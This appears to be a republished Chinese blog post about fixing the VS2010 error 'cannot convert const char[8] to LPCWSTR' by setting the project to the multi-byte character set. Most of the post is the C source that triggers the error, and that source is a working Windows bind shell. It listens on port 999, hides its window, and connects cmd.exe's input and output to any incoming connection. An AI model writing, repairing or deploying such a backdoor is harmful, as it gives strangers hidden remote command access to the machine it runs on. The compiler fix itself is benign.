不能将参数 1 从“const char [8]”转换为“LPCWSTR”

VS2010:

#include <winsock2.h>
#include <stdio.h>
#define MasterPort 999  //定义监听端口999
#pragma comment(lib, "ws2_32.lib")
int main()
{
  WSADATA WSADa;
  struct sockaddr_in SockAddrIn;
  SOCKET CSocket,SSocket;
  int iAddrSize;
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;
  char szCMDPath[255];
   //分配内存资源,初始化数据:
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
    //获取cmd路径
  GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
    //加载ws2_32.dll:
  WSAStartup(0x0202,&WSADa);
  //设置本地信息和绑定协议,建立socket,代码如下:
  SockAddrIn.sin_family = AF_INET;
  SockAddrIn.sin_addr.s_addr = INADDR_ANY;
  SockAddrIn.sin_port = htons(MasterPort);
  CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  //设置绑定端口999:
  bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
  //设置服务器端监听端口:
  listen(CSocket,1);
  iAddrSize = sizeof(SockAddrIn);
  //开始连接远程服务器,并配置隐藏窗口结构体:
  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  StartupInfo.hStdInput = (HANDLE)SSocket;
  StartupInfo.hStdOutput = (HANDLE)SSocket;
  StartupInfo.hStdError = (HANDLE)SSocket;
  //创建匿名管道:
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  //关闭进程句柄:
  closesocket(CSocket);
  closesocket(SSocket);
  WSACleanup();
  //关闭连接卸载ws2_32.dll
  return 0;
}

报错:不能将参数 1 从“const char [8]”转换为“LPCWSTR”

解决办法:

选中项目,然后点击属性——>配置属性——>常规——>项目默认值——>字符集,选为“使用多字节字符集"

不能将参数 1 从“const char [8]”转换为“LPCWSTR”_第1张图片

你可能感兴趣的:(不能将参数 1 从“const char [8]”转换为“LPCWSTR”)